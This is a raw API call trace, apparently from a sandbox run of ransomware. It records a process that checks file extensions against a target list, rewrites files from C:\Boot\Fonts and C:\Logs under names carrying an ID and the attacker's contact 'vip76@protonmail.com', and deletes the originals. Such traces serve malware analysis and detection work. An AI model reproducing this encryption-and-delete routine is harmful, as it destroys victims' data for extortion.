	[0071.377] lstrlenW (lpString=".ppt") returned 4
	[0071.377] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0071.377] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30
	[0071.377] lstrlenW (lpString=".zip") returned 4
	[0071.377] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0071.377] lstrlenW (lpString=".rar") returned 4
	[0071.377] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0071.377] lstrlenW (lpString=".bz2") returned 4
	[0071.377] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0071.377] lstrlenW (lpString=".7z") returned 3
	[0071.377] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0071.377] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30
	[0071.377] lstrlenW (lpString=".dbf") returned 4
	[0071.377] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0071.377] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30
	[0071.377] lstrlenW (lpString=".1cd") returned 4
	[0071.377] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0071.377] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30
	[0071.377] lstrlenW (lpString=".jpg") returned 4
	[0071.377] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0071.378] lstrcmpiW (lpString1=".ttf", lpString2=".html") returned 1
	[0071.378] lstrlenW (lpString="msyhn_boot.ttf") returned 14
	[0071.378] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0071.378] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=154427) returned 1
	[0071.378] CloseHandle (hObject=0x2c0) returned 1
	[0071.378] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf")) returned 0x20
	[0071.379] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.379] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0071.379] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0071.379] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0071.380] lstrlenW (lpString=".doc") returned 4
	[0071.380] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0071.380] lstrlenW (lpString=".docx") returned 5
	[0071.380] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0071.380] lstrlenW (lpString=".pdf") returned 4
	[0071.380] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0071.380] lstrlenW (lpString=".xls") returned 4
	[0071.380] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0071.380] lstrlenW (lpString=".xlsx") returned 5
	[0071.380] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0071.380] lstrlenW (lpString=".ppt") returned 4
	[0071.380] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0071.380] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0071.380] lstrlenW (lpString=".zip") returned 4
	[0071.380] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0071.380] lstrlenW (lpString=".rar") returned 4
	[0071.380] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0071.380] lstrlenW (lpString=".bz2") returned 4
	[0071.380] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0071.380] lstrlenW (lpString=".7z") returned 3
	[0071.380] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0071.380] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0071.380] lstrlenW (lpString=".dbf") returned 4
	[0071.380] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0071.380] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0071.380] lstrlenW (lpString=".1cd") returned 4
	[0071.380] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0071.381] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0071.381] lstrlenW (lpString=".jpg") returned 4
	[0071.381] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0071.381] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0071.381] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0071.381] lstrlenW (lpString=".doc") returned 4
	[0071.381] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0071.381] lstrlenW (lpString=".docx") returned 5
	[0071.381] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0071.381] lstrlenW (lpString=".pdf") returned 4
	[0071.381] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0071.381] lstrlenW (lpString=".xls") returned 4
	[0071.381] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0071.381] lstrlenW (lpString=".xlsx") returned 5
	[0071.381] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0071.381] lstrlenW (lpString=".ppt") returned 4
	[0071.381] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0071.381] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0071.381] lstrlenW (lpString=".zip") returned 4
	[0071.381] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0071.381] lstrlenW (lpString=".rar") returned 4
	[0071.381] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0071.381] lstrlenW (lpString=".bz2") returned 4
	[0071.381] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0071.381] lstrlenW (lpString=".7z") returned 3
	[0071.382] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0071.382] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0071.382] lstrlenW (lpString=".dbf") returned 4
	[0071.382] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0071.382] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0071.382] lstrlenW (lpString=".1cd") returned 4
	[0071.382] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0071.382] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0071.382] lstrlenW (lpString=".jpg") returned 4
	[0071.382] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0071.382] lstrcmpiW (lpString1=".ttf", lpString2=".html") returned 1
	[0071.382] lstrlenW (lpString="segoen_slboot.ttf") returned 17
	[0071.382] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0071.383] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=85862) returned 1
	[0071.383] CloseHandle (hObject=0x2c0) returned 1
	[0071.383] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf")) returned 0x20
	[0071.383] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segoen_slboot.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.383] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0071.384] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31
	[0071.384] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31
	[0071.384] lstrlenW (lpString=".doc") returned 4
	[0071.384] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0071.384] lstrlenW (lpString=".docx") returned 5
	[0071.384] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0071.384] lstrlenW (lpString=".pdf") returned 4
	[0071.384] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0071.384] lstrlenW (lpString=".xls") returned 4
	[0071.384] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0071.384] lstrlenW (lpString=".xlsx") returned 5
	[0071.384] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0071.384] lstrlenW (lpString=".ppt") returned 4
	[0071.384] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0071.384] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31
	[0071.385] lstrlenW (lpString=".zip") returned 4
	[0071.385] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0071.385] lstrlenW (lpString=".rar") returned 4
	[0071.385] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0071.385] lstrlenW (lpString=".bz2") returned 4
	[0071.385] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0071.385] lstrlenW (lpString=".7z") returned 3
	[0071.385] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0071.385] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31
	[0071.385] lstrlenW (lpString=".dbf") returned 4
	[0071.385] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0071.385] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31
	[0071.385] lstrlenW (lpString=".1cd") returned 4
	[0071.385] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0071.385] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31
	[0071.385] lstrlenW (lpString=".jpg") returned 4
	[0071.385] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0071.385] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31
	[0071.385] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31
	[0071.385] lstrlenW (lpString=".doc") returned 4
	[0071.385] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0071.385] lstrlenW (lpString=".docx") returned 5
	[0071.385] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0071.385] lstrlenW (lpString=".pdf") returned 4
	[0071.385] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0071.386] lstrlenW (lpString=".xls") returned 4
	[0071.386] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0071.386] lstrlenW (lpString=".xlsx") returned 5
	[0071.386] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0071.386] lstrlenW (lpString=".ppt") returned 4
	[0071.386] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0071.386] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31
	[0071.386] lstrlenW (lpString=".zip") returned 4
	[0071.386] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0071.386] lstrlenW (lpString=".rar") returned 4
	[0071.386] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0071.386] lstrlenW (lpString=".bz2") returned 4
	[0071.386] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0071.386] lstrlenW (lpString=".7z") returned 3
	[0071.386] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0071.386] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31
	[0071.386] lstrlenW (lpString=".dbf") returned 4
	[0071.386] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0071.386] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31
	[0071.386] lstrlenW (lpString=".1cd") returned 4
	[0071.386] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0071.386] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31
	[0071.386] lstrlenW (lpString=".jpg") returned 4
	[0071.386] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0071.387] lstrcmpiW (lpString1=".ttf", lpString2=".html") returned 1
	[0071.387] lstrlenW (lpString="segoe_slboot.ttf") returned 16
	[0071.387] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0071.387] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=86178) returned 1
	[0071.387] CloseHandle (hObject=0x2c0) returned 1
	[0071.387] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf")) returned 0x20
	[0071.387] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segoe_slboot.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.387] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0071.387] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30
	[0071.388] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30
	[0071.388] lstrlenW (lpString=".doc") returned 4
	[0071.388] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0071.388] lstrlenW (lpString=".docx") returned 5
	[0071.388] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0071.388] lstrlenW (lpString=".pdf") returned 4
	[0071.388] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0071.388] lstrlenW (lpString=".xls") returned 4
	[0071.388] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0071.388] lstrlenW (lpString=".xlsx") returned 5
	[0071.388] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0071.388] lstrlenW (lpString=".ppt") returned 4
	[0071.388] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0071.388] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30
	[0071.388] lstrlenW (lpString=".zip") returned 4
	[0071.388] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0071.388] lstrlenW (lpString=".rar") returned 4
	[0071.388] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0071.388] lstrlenW (lpString=".bz2") returned 4
	[0071.388] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0071.388] lstrlenW (lpString=".7z") returned 3
	[0071.388] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0071.388] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30
	[0071.388] lstrlenW (lpString=".dbf") returned 4
	[0071.388] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0071.409] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.410] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.410] CreateFileW (lpFileName="C:\\BOOTNXT.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\bootnxt.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0071.410] GetLastError () returned 0x0
	[0071.410] ReadFile (in: hFile=0x358, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x1, lpOverlapped=0x0) returned 1
	[0071.411] WriteFile (in: hFile=0x380, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x10, lpOverlapped=0x0) returned 1
	[0071.412] ReadFile (in: hFile=0x358, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.412] WriteFile (in: hFile=0x380, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xe2, lpOverlapped=0x0) returned 1
	[0071.412] SetEndOfFile (hFile=0x380) returned 1
	[0071.413] CloseHandle (hObject=0x380) returned 1
	[0071.413] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.414] SetEndOfFile (hFile=0x358) returned 1
	[0071.415] CloseHandle (hObject=0x358) returned 1
	[0071.415] SetFileAttributesW (lpFileName="C:\\BOOTNXT.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x26) returned 1
	[0071.415] DeleteFileW (lpFileName="C:\\BOOTNXT" (normalized: "c:\\bootnxt")) returned 1
	[0071.416] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0071.416] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0071.416] lstrlenW (lpString=".doc") returned 4
	[0071.416] lstrcmpiW (lpString1=".doc", lpString2="TNXT") returned -1
	[0071.416] lstrlenW (lpString=".docx") returned 5
	[0071.416] lstrcmpiW (lpString1=".docx", lpString2="OTNXT") returned -1
	[0071.416] lstrlenW (lpString=".pdf") returned 4
	[0071.416] lstrcmpiW (lpString1=".pdf", lpString2="TNXT") returned -1
	[0071.416] lstrlenW (lpString=".xls") returned 4
	[0071.416] lstrcmpiW (lpString1=".xls", lpString2="TNXT") returned -1
	[0071.416] lstrlenW (lpString=".xlsx") returned 5
	[0071.416] lstrcmpiW (lpString1=".xlsx", lpString2="OTNXT") returned -1
	[0071.416] lstrlenW (lpString=".ppt") returned 4
	[0071.416] lstrcmpiW (lpString1=".ppt", lpString2="TNXT") returned -1
	[0071.416] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0071.417] lstrlenW (lpString=".zip") returned 4
	[0071.417] lstrcmpiW (lpString1=".zip", lpString2="TNXT") returned -1
	[0071.417] lstrlenW (lpString=".rar") returned 4
	[0071.417] lstrcmpiW (lpString1=".rar", lpString2="TNXT") returned -1
	[0071.417] lstrlenW (lpString=".bz2") returned 4
	[0071.417] lstrcmpiW (lpString1=".bz2", lpString2="TNXT") returned -1
	[0071.417] lstrlenW (lpString=".7z") returned 3
	[0071.417] lstrcmpiW (lpString1=".7z", lpString2="NXT") returned -1
	[0071.417] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0071.417] lstrlenW (lpString=".dbf") returned 4
	[0071.417] lstrcmpiW (lpString1=".dbf", lpString2="TNXT") returned -1
	[0071.417] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0071.417] lstrlenW (lpString=".1cd") returned 4
	[0071.417] lstrcmpiW (lpString1=".1cd", lpString2="TNXT") returned -1
	[0071.417] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0071.417] lstrlenW (lpString=".jpg") returned 4
	[0071.417] lstrcmpiW (lpString1=".jpg", lpString2="TNXT") returned -1
	[0071.417] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0071.417] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0071.417] lstrlenW (lpString=".doc") returned 4
	[0071.417] lstrcmpiW (lpString1=".doc", lpString2="TNXT") returned -1
	[0071.417] lstrlenW (lpString=".docx") returned 5
	[0071.417] lstrcmpiW (lpString1=".docx", lpString2="OTNXT") returned -1
	[0071.417] lstrlenW (lpString=".pdf") returned 4
	[0071.417] lstrcmpiW (lpString1=".pdf", lpString2="TNXT") returned -1
	[0071.418] lstrlenW (lpString=".xls") returned 4
	[0071.418] lstrcmpiW (lpString1=".xls", lpString2="TNXT") returned -1
	[0071.418] lstrlenW (lpString=".xlsx") returned 5
	[0071.418] lstrcmpiW (lpString1=".xlsx", lpString2="OTNXT") returned -1
	[0071.418] lstrlenW (lpString=".ppt") returned 4
	[0071.418] lstrcmpiW (lpString1=".ppt", lpString2="TNXT") returned -1
	[0071.418] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0071.418] lstrlenW (lpString=".zip") returned 4
	[0071.418] lstrcmpiW (lpString1=".zip", lpString2="TNXT") returned -1
	[0071.418] lstrlenW (lpString=".rar") returned 4
	[0071.418] lstrcmpiW (lpString1=".rar", lpString2="TNXT") returned -1
	[0071.418] lstrlenW (lpString=".bz2") returned 4
	[0071.418] lstrcmpiW (lpString1=".bz2", lpString2="TNXT") returned -1
	[0071.418] lstrlenW (lpString=".7z") returned 3
	[0071.418] lstrcmpiW (lpString1=".7z", lpString2="NXT") returned -1
	[0071.418] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0071.418] lstrlenW (lpString=".dbf") returned 4
	[0071.418] lstrcmpiW (lpString1=".dbf", lpString2="TNXT") returned -1
	[0071.418] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0071.418] lstrlenW (lpString=".1cd") returned 4
	[0071.418] lstrcmpiW (lpString1=".1cd", lpString2="TNXT") returned -1
	[0071.418] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0071.418] lstrlenW (lpString=".jpg") returned 4
	[0071.418] lstrcmpiW (lpString1=".jpg", lpString2="TNXT") returned -1
	[0071.419] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0071.419] lstrlenW (lpString="HardwareEvents.evtx") returned 19
	[0071.419] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0071.432] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=69632) returned 1
	[0071.432] CloseHandle (hObject=0x320) returned 1
	[0071.432] GetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx")) returned 0x20
	[0071.432] GetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\hardwareevents.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.432] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0071.432] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.432] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.432] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\hardwareevents.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0071.433] GetLastError () returned 0x0
	[0071.433] ReadFile (in: hFile=0x320, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0071.438] WriteFile (in: hFile=0x350, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0071.440] ReadFile (in: hFile=0x320, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.440] WriteFile (in: hFile=0x350, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xfa, lpOverlapped=0x0) returned 1
	[0071.440] SetEndOfFile (hFile=0x350) returned 1
	[0071.441] CloseHandle (hObject=0x350) returned 1
	[0071.446] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.446] SetEndOfFile (hFile=0x320) returned 1
	[0072.041] CloseHandle (hObject=0x320) returned 1
	[0072.042] SetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0072.042] DeleteFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx")) returned 1
	[0072.042] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0072.042] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0072.042] lstrlenW (lpString=".doc") returned 4
	[0072.042] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0072.042] lstrlenW (lpString=".docx") returned 5
	[0072.042] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0072.042] lstrlenW (lpString=".pdf") returned 4
	[0072.042] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0072.042] lstrlenW (lpString=".xls") returned 4
	[0072.043] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0072.043] lstrlenW (lpString=".xlsx") returned 5
	[0072.043] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0072.043] lstrlenW (lpString=".ppt") returned 4
	[0072.043] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0072.043] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0072.043] lstrlenW (lpString=".zip") returned 4
	[0072.043] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0072.043] lstrlenW (lpString=".rar") returned 4
	[0072.043] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
